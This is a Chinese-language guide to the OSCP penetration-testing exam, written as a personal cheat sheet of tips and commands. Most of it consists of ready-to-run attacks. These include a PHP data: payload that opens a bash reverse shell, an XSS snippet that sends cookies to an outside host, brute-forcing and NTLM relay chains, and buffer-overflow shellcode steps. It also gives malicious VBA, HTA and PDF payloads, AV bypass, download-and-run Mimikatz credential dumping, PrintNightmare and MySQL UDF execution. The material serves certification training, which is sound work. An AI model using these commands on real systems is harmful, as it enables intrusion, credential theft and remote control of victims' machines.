本文将为大家介绍如何搞定OSCP实验和考试!(100 + 10 / 100 分)
这是本人通过OSCP实验和认证过程的小结。同时,我还决定添加一些可用于实战的技巧(适用于红队、渗透测试以及逆向分析等)。当然,本文提到的许多命令、工具和技巧,大多来自其他(与OSCP相关或不相关)在线指南,相关的链接可以在参考资料部分找到。
简介
- 枚举时要进行全方位的扫描,即使最微不足道的细节也不要放过。
- 广度优先,始终如一。
- 掉进兔子洞没关系,可以用排除法。
- 如果您已经是熟练的专业人士,也可能觉得某些实验很难搞定,这是非常正常的。事实上,许多实验本身更多地依赖于CTF风格的谜语,而不是实际的渗透测试逻辑。
- 不要低估考试期间士气的力量。请备好:糖、茶、咖啡、睡眠、r00t(追求低垂的果子有助于增强信心)。
- 进行手动测试时,凡是可以在后台运行的,立即在后台跑起来(例如扫描、暴力破解、用户交互陷阱等)
Part 1: Essential Tools
Kali
实际上,任何提供了合适工具的发行版都是可以的:
CopyQ
在不支持相同键盘布局(查看您的RDP)或不允许删除字符或在字符串中移动的shell中打字时特别强大。您可以先在缓冲区中准备好命令,然后发送:
Proxy plugin
https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
https://addons.mozilla.org/en-US/firefox/addon/container-proxy/
如果只想代理浏览器的某些选项卡,Container Proxy将非常有用:
My clipip.sh tool:
脚本:
#!/bin/bash
o=$(xclip -o |tr -d '\n')
ip -f inet addr show tun0 | awk '/inet / {print $2}'|cut -d '/' -f1|tr -d '\n'|xclip -selection c
#You can replace tun0 with any interface if you don't intend to use the script over a VPN (eth0, wlan0...)
sleep 0.1
#xdotool key ctrl+shift+v
# You can use this line if you prefer not to enable CTRL+V in your terminal
xdotool key ctrl+v
echo -n $o|xclip -selection c
在Alacritty中启用Ctrl+V快捷键:
key_bindings:
\- { key: V, mods: Control, action: Paste }
通过i3配置文件添加快捷键:
bindsym --release $mod+Shift+i exec <path to clipip.sh>
在此之后,只要在缓冲区按Alt+Shift+i,就会粘贴您的IP。这在OSCP过程中是非常有用的,因为VPN的出站IP可能会改变,所以需要在每个脚本、cli和payload中粘贴该地址。
Part 2: General Methodolgy
我怎么强调都不为过的一点是:广度优先,始终如是。我已经发现自己钻进兔子洞的次数多得数不清了。像驴子一样固执的我,花了整整一天的时间来研究毫无意义的exploit,而在另一个已经扫描过的端口上,只需执行searchsploit -m就能立刻找到一个初步的立足点。
这种思想意味着,我们要:
- 注意解决挑战时想到的一切(名称、端口、服务,没有什么是随机给出的,很多都是实实在在的提示)。
- 扫描一切。
- 通过网络搜索每一个已知的协议或端口和相应的版本(你可能会发现非常容易利用的进程)。
- 一旦确定已经覆盖了所有开放的东西,就开始更深入地挖掘。
- 遵循直觉(在第一次扫描结束时响起的那个小铃铛,都在提示“哦,这是开放的???很好。”)并尝试你最初认为是最好的线索。
- 如果或一旦证明直觉是错误的,你就可以开始运用排除法,逐一检查所有潜在的线索。
## Part 3: Information Gathering
在实验和考试中,我一遍又一遍地应用同样的方法,并且屡试不爽(当然UDP除外,这真实一个令人讨厌的协议)。
Ping Sweep
1 2 3 4 5 6 7 |
|
3 steps (4 if UDP) scanning process
当然,您也可以用Nmap自动化工具,但如果您想手动操作的话,可以参考我的方法:
# Get all ports
nmap -p- -T5 -Pn <IP>|grep open|awk '{print $1}'|cut -d '/' -f1|tr '\n' ','
这样就可以得到一个可映射的端口列表,如80、443、3389、10069。
# Fingerprinting scan
sudo nmap -p <port list> -T5 -A -R -O <IP> -Pn
尽管这与下一步可能有点重复,但速度要快得多,并能为后面的扫描提供有用的东西。
# Script scan
nmap -p <port list> -T5 -sV --version-all --script default,auth,brute,discovery,vuln <IP> -Pn
虽然它还不够精细,但能找到很多有趣的信息,并且不需要任何费用。比如,可能会发现:
- FTP身份验证(通常是匿名的)
- HTTP文件夹和文件
- SMB用户名称和本地信息
- 已知的漏洞(不是很准确,但在实验过程中有过几次成功的例子)
如果没有找到任何东西,可以继续扫描UDP端口:
nmap -T5 -sU --top-ports 10000 <IP>
注意:我几乎每次都使用T5,但如果收到下面的提示:
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
则应该尝试使用较低的值(T4/T3)。
Common enumerations and vulnerabilities checks
如果您遇到的是OpenSSH<7.7的Linux,我强烈建议使用SSH用户oracle(CVE-2018-15473),因为它可以提供现有的系统用户,然后可以用于暴力攻击或喷射。我使用的这个脚本,但exploit db也提供了一个有效的脚本。
python ssh-username-enum.py <IP> -w <wordlist>
我主要使用这个wordlist,但Seclists也提供了大量的常见用户名可以尝试。
另外,不要忘记补充wordlists,或者用找到的证书创建新的自定义wordlists。有些可能会被重复使用,因为某些系统存在依赖关系。
当发现Windows主机时,我建议检查SMB exploit:
nmap -T5 -sV --script 'smb-vuln*' <IP>
它将涵盖:
- cve-2017-7494
- cve2009-3103
- ms06-025
- ms07-029
- ms08-067
- ms10-054
- ms10-061
- ms17-010
- regsvc-dos
对于漏洞Bluekeep(CVE-2019-0708),可以使用rdpscan:
./rdpscan <ip>
但是,请记住,Bluekeep并不是很稳定,它很可能使目标系统崩溃。显然,即使系统存在该漏洞,也未必能够成功利用。此外,也可以使用metasploit模块来利用该漏洞:
nmap -p3389 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > rdp.lst
msfconsole
\> use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
\> set RHOSTS file:<path to rdp.lst>
\> run
...
[+] 10.X.X.X:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
最后,我们要经常检查smb共享,因为有时可以在没有凭证的情况下挂载它们:
crackmapexec smb <IP> -u '' -p '' --shares
虽然大部分扫描工作可以通过nmap脚本完成,但如果有疑问,最好仔细检查一下。如果主机超时,nmap的脚本引擎可能会崩溃,您将错过一些重要的结果。
Scanning through tunnels
我强烈推荐使用这两个项目:
Socks proxy
# Run on your machine, will open port 443
chisel server -p 443 --reverse --socks5
# Run on tunneling server, will open 1080 on your local machine once connected
chisel client 192.168.119.248:443 R:socks
然后,用naabu进行端口扫描:
naabu -rate 500 -c 10 -s connect -p - -host 10.X.X.X -proxy 127.0.0.1:1080
如果运行的并发线程过多,Naabu可能会导致chisel崩溃,因此需要指定速率和工作线程。对于简单的端口扫描,Naabu通常比nmap快得多。另外,任何使用过proxychains nmap的人都知道简单扫描的速度有多慢。
Port forward
如果你打算绕过本地主机白名单(通常用于mysql、phpmyadmin,但有时也用于web界面),我建议使用端口到本地主机转发技术。例如,用mysql连接到root可能会收到这样的信息:
ERROR 1130 (00000): Host ‘X.X.X.X’ is not allowed to connect to this MySQL server
# Run on your machine, will open port 443
chisel server -p 443 --reverse --socks5
# Open port 3306 on your local machine to proxy packets towards target
chisel client 192.168.119.248:443 R:3306:localhost:3306
然后,您可以简单地使用下面的命令:
mysql -u root -p<pass> -h 127.0.0.1
Part 4: Getting a shell
searchsploit
msfconsole; search
google
完成相应的搜索工作后,通常就能找到有效的exploit,接下来,就可以使用revshell.com来获取shell了!
以下是我发现对利用各种服务非常有用的一些命令:
Useful commands
- 想要渗出嵌入在HTML标记中的二进制数据吗?
wget -qO- 'http://X.X.X.X/vulnpage?vulparam=..\..\..\..\..\..\..\..\..\..\..%5cWINDOWS%5cRepair%5cSAM%00en' |perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' > SAM
- PHP LFI,但没有文件(php,phar)被执行?
data:text/plain,<?php passthru("bash -i >& /dev/tcp/X.X.X.X/4444 0>&1"); ?>
- 尝试通过Web界面获取密码?
hydra -l admin -P /usr/share/wordlists/rockyou.txt X.X.X.X http-post-form "/URL/Login:User=^USER&password=^PASS:F=<String indicating attempt has failed>" -I
- 在连接RDP时遇到麻烦?
transport_connect_tls:freerdp_set_last_error_ex ERRCONNECT_TLS_CONNECT_FAILED [0x00020008]
xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:rdp
# OR, if having a different connect error, also try:
xfreerdp /u:user /p:'password' /v:X.X.X.X /d:domain /sec:tls
# and if you want to have files and clipboard there:
xfreerdp +clipboard /u:user /p:'password' /v:X.X.X.X /d:domain /sec:<whatever> /drive:<absolute path to your local folder>,/
- 想获得机器账户的哈希值吗?
读者可以从这里找到大量的技巧:
# https://github.com/SecureAuthCorp/impacket/blob/master/examples/rpcdump.py
rcpdump.py <IP>|grep MS-RPRN
# https://github.com/NotMedic/NetNTLMtoSilverTicket
python dementor.py -u Guest -p '' <target> <responder>
你也可以用ntlmrelay来重放这些哈希值,因为破解起来比较费劲:
# list machines with SMB
nmap -p139;445 -T5 <subnet>/24 -oG - | awk '/Up$/{print $2}' > smb.lst
# shortlist IP's with spooler active (might be bugged, I haven't retested it and I typed it from what I recall)
while read ip; do rcpdump.py $ip|grep -q MS-RPRN && echo $ip >> spooler.lst || :;done < smb.lst
# generate a list of targets without SMB signing
crackmapexec smb <subnet> --genrelay-list > targets.lst
# start relay server
ntlmrelayx.py -l loot -smb2support -socks -tf targets.lst
# force NetNTLMv2 authentication to your relay (need valid credentials to perform the attack)
while read ip; do python dementor.py -u user -p 'password' $ip <responder ip>;done < spooler.lst
# profit
nc localhost <port open by ntlmrelayx>
注意:与OSCP技巧相比,这更像是一个渗透测试技巧。
- 想来点cookie吗?
<script>document.write("<img src='http://<IP> or <request bin>'"+document.cookie+"');</script>
- 想知道谁的AD密码很简单吗? (username = password)
crackmapexec smb <any ip in the domain> -u users.lst -p users.lst -d domain --no-bruteforce
- 想要递归下载FTP服务器上的所有文件,以在本地grep吗?
wget -r ftp://user:pass@serv
- 想通过socks代理对phpmyadmin进行蛮力攻击吗?
patator.py http_fuzz proxy_type=socks5 proxy=localhost:1080 url=http://IP/index.php method=POST body='pma_username=root&pma_password=FILE0&server=1&target=index.php&lang=en&token=' 0=/usr/share/wordlists/rockyou.txt before_urls=http://IP/index.php accept_cookie=1 follow=1 -x ignore:fgrep='Access denied for user '
如果上面的方法都不管用,则可以尝试:
Buffer Overflow
这里没有什么新东西,与PEN 200课程中解释的方法相同,只是加上我的注释。
- 寻找溢出漏洞:
只要用大量的字符进行尝试,直到触发崩溃,或者如果是远程连接的,则触发连接拒绝。
- 确定偏移量:
msf-pattern_create -l <arbitrarily large number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789
我使用了自定义的字符集,因为我注意到由msf-pattern_create生成的字符串并不总是让目标崩溃,而且由于某个奇怪的原因,这在大多数时候都是有效的。
一旦发送了字符串,并且引发了崩溃,得到了EIP值(如果来自Immunity,则将其反转),则可以并使用以下命令检查偏移量:
msf-pattern_offset -l <same number> -s abcdefghijklmnopqrstuvwxyz,ABCDEF,0123456789 -q <hex decoded string>
[+] Exact match at offset X
- 确认EIP的控制效果:
python -c 'print "A"*X+"B"*4'
对于OSCP来说,缓冲区溢出总是位于32位的可执行文件中,所以EIP总是包含4个字节。在这种情况下,如果EIP寄存器在崩溃时包含42424242,就说明EIP覆盖成功了。
- 识别不良字符:
使用Immunity
生成字符列表:
import sys
for i in range(1,256):
sys.stdout.write('\\x'+'{:02X}'.format(i))
用Python 2运行,因为出于某种原因,用Python 3运行上面的代码时,在不可打印的字符方面遇到了麻烦。
你应该得到如下结果:
获得Python编码的风格字符串的命令:
xxd -p badchars.txt|tr -d '\n'|sed 's/.\{2\}/\\x&/g'
现在,把它发给含有漏洞的进程:
python -c 'print "A"*X+"B"*4+<bad chars list>
一旦在Immunity中触发崩溃,复制ESP值,并通过内存映射跳到该地址。打开程序的堆栈,将视图改为16字节的行。粘贴ESP值,应该看到恶意字符出现。复制256个字节(16行),从字节(0x01)开始,粘贴到本地。然后,执行:
cat extract|awk '{print $2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17}'|tr -d '\n '|xxd -r -p > filtered
这用于将堆栈中的256个字节格式化回原始二进制文件,以使其可与原始二进制的恶意字符文件进行比较。我强烈推荐的比较工具就是Burp Suite的比较工具,因为它提供了比较字节的功能:
如果内存中没有找到完整的恶意字符列表,这意味着发送的字符串被提前终止了。这时,应该手动替换有问题的字节,并重新发送新创建的缓冲区:(我使用tweak进行十六进制编辑)
我建议用引人注目的模式替换字符,这样就不会被过滤掉了。
使用IDA
我建议使用IDA的deREferencing插件。
在运行程序之前,必须启动调试器:
一旦抵达断点或崩溃点,就可以通过点击ESP后按“*”键,从堆栈的转储中创建包含255个字符的数组:
然后使用Shift+E命令来导出IDA中的原始二进制数据:
完成上述操作后,就可以像以前一样将该文件与原始的恶意字符文件进行比较了。
使用GDB
使用GDB就更容易了:
dump binary memory filtered.bin 0xfff0e278 0xfff0e377
其中的地址应该替换为esp esp+0xFF
注意:恶意字符列表的长度为0xFF字节,因为0x00通常被省略,因为它是C风格字符串的终结符号。由于对齐的原因,通常从程序的内存中复制0x10字节比较容易,所以,会添加一个额外的字节,并且它并非来自恶意字符列表。
- 生成shellcode:
一旦识别出恶意字符,就可以使用以下命令生成shellcode了:
msfvenom -i 3 -n 10 -p windows/shell_reverse_tcp -b 'the bad chars you found + \x00\x0D\x0A\x20' -f hex LHOST=<your ip> LPORT=<PORT>|sed ‘s/.\{2\}/\\x&/g’
或者,如果您想偷懒的话,也可以使用-f python。我使用的是十六进制格式,因为它更容易转换为原始二进制格式,并可用于其他目的。请看下面的模式:
\x00\x0D\x0A\x20
这是截断字符串的常见字节列表(换行符、空格、空字节),所以,我建议不停添加这些字节。当涉及到过滤恶意字节时,假阳性比假阴性更安全,因为msfvenom很可能总是设法用给定的过滤器列表来生成shellcode。
- 确定覆盖EIP的候选对象:
最后,您应该确定好覆盖EIP的值。它必须是一个指向可执行指令的指针。理想情况下,该指针应该:
- 跳转到jmp esp指令或等效指令:
call esp
push esp; ret
- 不包含任何恶意字符
在Immunity中,可以使用下面的命令来查找这种地址:
!mona jmp -r esp
此外,也可以借助于ROPGadget。
ROPgadget.py --binary <file> |grep 'jmp esp'
记住,要用小端顺序和python二进制格式来写入地址。所以,0x12345678应该变成\x78\x56\x34\x12。
在某些情况下,也许可以直接跳到堆栈。虽然我不建议这样做。如果你攻击的进程是多线程的,或者是即时重启的,你可以用一个指向堆栈的地址来覆盖EIP,并希望它落入在您的NOP sled(即一系列不会有实际动作的NOP指令)中。为了使其发挥作用,应该做下面三件事:
- 确保NOP sled尽可能大,以增加落入其中的概率
- 找到一个候选指针,指向堆栈可能的目标位置
-
从该处进行蛮力搜索
-
Exploit
最后的exploit应该是这样的:
python -c 'print "A"*X + <jmp esp address> + "\x90" * <arbitrary size> + <shellcode>'
虽然,就我自己来说,考试期间的exploit在第一次尝试时就成功了,并没有放任何NOP指令(实际上msfvenom生成的shellcode中已经有一些)。
User Interaction
在某些情况下,只能借助于用户交互来获得root权限。比如:
生成VBA payload
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f vba -o macro.vba
生成HTA payload
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f hta -o index.hta
生成恶意的FoxIt pdf文件
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o giveyouup.exe
smbserver.py -smb2support -ip <IP> TMP .
python 49116.py \\<IP>\TMP\backdoor.exe letyoudown.pdf
Part 5: Post exploitation (privesc, av bypass, loot)
WinPEAS和LinPEAS已经涵盖了几乎所有有关权限提升的内容,详见https://github.com/carlospolop/PEASS-ng。
这是我自己的一个小清单:
1.远程目标可以在哪个端口与我进行通信?(反向tcp扫描)
获取这个脚本并使其可通过80端口下载:
wget https://github.com/InfosecMatter/Minimalistic-offensive-security-tools/raw/master/port-scan-tcp.ps1
python -m http.server 80
像设置Meterpreter/reverse_tcp_allports那样设置iptables,但确保端口80是可查询的,然后启动netcat catch-all:
sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 20:79 -j REDIRECT --to-port 8000
sudo iptables -i tun0 -A PREROUTING -t nat -p tcp --dport 81:6000-j REDIRECT --to-port 8000
nc -nlvp 8000
在本地运行该脚本:
powershell -ep bypass -nOp -c "iex (iwr http://192.168.119.248/port-scan-tcp.ps1 -UseBasicParsing);port-scan-tcp 192.168.119.248 (21,22,23,53,80,139,389,443,445,636,1433,3128,8080,3389,5985);"
如果powershell有输出内容的话,就可以看到目标系统可以通过哪些端口与您连接,然后,打开对应的一组端口即可(delivery、reverse shell、smb服务器等)。如果没有输出内容的话,仍然可以使用wireshark或tcpdump查看在哪些端口上接收到数据包。请记住,数据包将使用PREROUTING进行路由,因此netcat将无法看到原始目标端口。
在Linux上通过bash进行反向tcp端口扫描:
export ip=<IP>; for port in $(seq 20 6000); do nc -zv -w1 $ip $port& done
- 如何绕过AV,以运行我们的exe?
使用Powershell PE反射型注入:
# Use reflective PE injection over SMB:
powershell -ep bypass -sta -nop -c "iex (iwr http://IP/empire.ps1 -UseBasicParsing); $PEBytes = [IO.File]::ReadAllBytes('\\IP\\Share\\File'); Invoke-ReflectivePEInjection -PEBytes $PEBytes"
# Over HTTP:
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-ReflectivePEInjection.ps1.1 -UseBasicParsing);Invoke-ReflectivePEInjection -PEURL http://IP/file.exe"
不过,在现实世界中,最有可能被AV拦截的就是powerhell脚本。
下面给出常见的golang反向shell:
https://gist.github.com/yougg/b47f4910767a74fcfe1077d21568070e
我使用garble进行了混淆,但请记住,大多数混淆技术实际上只会增加脚本和二进制文件的可疑性。
- 如何在不借助meterpreter getystem的情况下获得SeLoadDriverPrivilege?
然后,可以试试Print Nightmare,至少它对于我的实验过程帮助很大:
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o revshell.dll
wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1
python -m http.server 80
powershell -ep bypass -nop -c "iwr http://IP/revshell.dll -OutFile C:\WINDOWS\Temp\revshell.dll;iex (iwr http://IP/Invoke-Nightmare.ps1 -UseBasicParsing);Invoke-Nightmare -DLL C:\WINDOWS\Temp\revshell.dll"
- 想要转储凭据吗?
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-PowerDump.ps1 -UseBasicParsing);Invoke-PowerDump"
powershell -ep bypass -nop -c "iex (iwr http://IP/Invoke-Mimikatz.ps1 -UseBasicParsing); Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "exit"'"
- 想在32位模式下运行LaZagne吗?
编译好的版本,详见https://github.com/therealunicornsecurity/ctf_data/blob/main/laz32.exe。
- 想下载东西,但只有Powershell 2.0,咋整?
$url = "http://IP/file.exe"
$path = "C:\WINDOWS\TEMP\file.exe"
# param([string]$url, [string]$path)
if(!(Split-Path -parent $path) -or !(Test-Path -pathType Container (Split-Path -parent $path))) {
$targetFile = Join-Path $pwd (Split-Path -leaf $path)
}
(New-Object Net.WebClient).DownloadFile($url, $path)
$path
- 想列出Windows上的开放端口吗?
# TCP
Get-NetTCPConnection -State Listen| select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}
# UDP
Get-NetUDPEndpoint | select LocalAddress,LocalPort,@{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}}
- 想在32位Windows系统中运行IDA Free吗?
https://www.scummvm.org/news/20180331/
- 想利用具有特权的MySQL进程吗?
下面的解释再好不过了:
https://www.exploit-db.com/docs/english/44139-mysql-udf-exploitation.pdf
不过,我们还可以实现自动化:
# exploit.sql
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('<run backdoor>');
mysql -u root -p<password> -h <target> < exploit.sql
- 想为32位linux系统编译exploit吗?
gcc -m32 -march=i686 code.c -o exp -static
如果出现glibc版本错误,有两条路可走:
- gcc和所需的lib都在目标系统上:直接在那里编译exploit
-
没有gcc或缺少lib:在目标上运行ldd--version,并尝试获得安装了相同libc的docker容器,在那里编译并传输到目标系统
-
想交叉编译Windows的exploit吗?
# dpkg --add-architecture i386
# install mingw32/64
# 32 bits:
i686-w64-mingw32-g++-win32 exp.cpp -static -o exp
# 64 bits:
x86_64-w64-mingw32-g++ exp.cpp -static -o exp
- 想在Meterpreter中运行命令并查看输出吗?
execute -i -H -f "cmd"
- 命令提示符已被管理员禁用?
上传这个压缩包,并在本地运行cmd.exe: http://didierstevens.com/files/software/cmd-dll_v0_0_4.zip
- 编译MS17-017时出现转换错误?
error: cannot convert ‘STARTUPINFO’ {aka ‘STARTUPINFOA’} to ‘LPSTARTUPINFOW’ {aka ‘_STARTUPINFOW*’}
编辑第450行:
VOID xxCreateCmdLineProcess(VOID)
{
\+ STARTUPINFOW si = { sizeof(si) };
\- STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"yourexe.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
编译:
i686-w64-mingw32-g++-win32 44479.cpp -lgdi32 -lopengl32 -o lol.exe -static
- 在运行Invoke-Mimikatz.ps1和Invoke-ReflectivePEInjection.ps1时出错?
Exception calling “GetMethod” with “1” argument(s): “Ambiguous match found.”
将下面这行:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
替换为:
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
- 攻击不支持现代下载文件方式的古董机器? 使用SMB Delivery呀!
msfconsole
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost IP //your LHOST
msf exploit(windows/smb/smb_delivery) > exploit
# locally:
rundll32.exe \\IP\vabFG\test.dll,0
另外,还可以使用bitsadmin。
- 想获取docker suid或sudo权限?
docker run -v /:/mnt -it ubuntu
一旦挂载了文件系统,就可以读写/etc/passwd和/etc/shadow了。此外,还可以在/root/.ssh/authorized_keys中添加公共ssh密钥。
- 想知道可以启动哪些服务吗?
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
- 如何寻找静态编译工具?
https://github.com/ernw/static-toolbox
https://github.com/andrew-d/static-binaries
- 想实现隐身吗?
使用meterpreter incognito:
load incognito
list tokens -u
impersonate_token <high privileges token>
如果您获得的令牌位于域上,则可以跳转到AD用户具有本地管理权限的其他目标系统上。通过powershell,可以用获得的令牌远程添加用户:
$Computername = <Your target>
$Username = <Your account>
$GroupName = "Administrators"
$DomainName = $env:USERDOMAIN
$Group = [ADSI]"WinNT://$ComputerName/$GroupName,group"
$User = [ADSI]"WinNT://$DomainName/$Username,user"
$Group.Add($User.Path)
此外,还可以使用JuicyPotato!
- 想使用hashcat和John的大型规则列表在本地生成自定义密码字典吗?
hashcat --force <wordlist> -r /usr/share/hashcat/rules/dive.rule --stdout >> out.wl
john --wordlist=<wordlist> --rules --stdout > out.wl
你也可以使用这个密码字典。
- 想得到NT SYSTEM权限吗?
记住,你有一次使用Metasploit/Meterpreter的机会,好了,为什么不直接使用呢?
我选择用mine来获得AD的网络入口点的特权shell。它实际上是相当有用的,因为它允许我使用meterpreter快速获得privesc,然后用chisel和naabu进行跳转和扫描。
小结
我在实验过程中玩得很开心,考试期间也是如此。我本以为挑战题会太像CTF,而且是基于谜语而不是实战场景,但事实并非如此。最后,我觉得随着AD集的加入,OSCP可能变得更容易了。我确实认为它带来了一些真实性,因为AD通常很容易拿到root权限。
如果你有任何问题或意见,欢迎随时交流。
参考资料
https://book.hacktricks.xyz/welcome/readme
https://lolbas-project.github.io/
https://mishrasunny174.tech/post/vulnapp_trun/
https://github.com/calebstewart/CVE-2021-1675
https://osandamalith.com/2018/02/11/mysql-udf-exploitation/
https://github.com/mitre/caldera/issues/38
https://hunter2.gitbook.io/darthsidious/privilege-escalation/token-impersonation
https://liodeus.github.io/2020/09/18/OSCP-personal-cheatsheet.html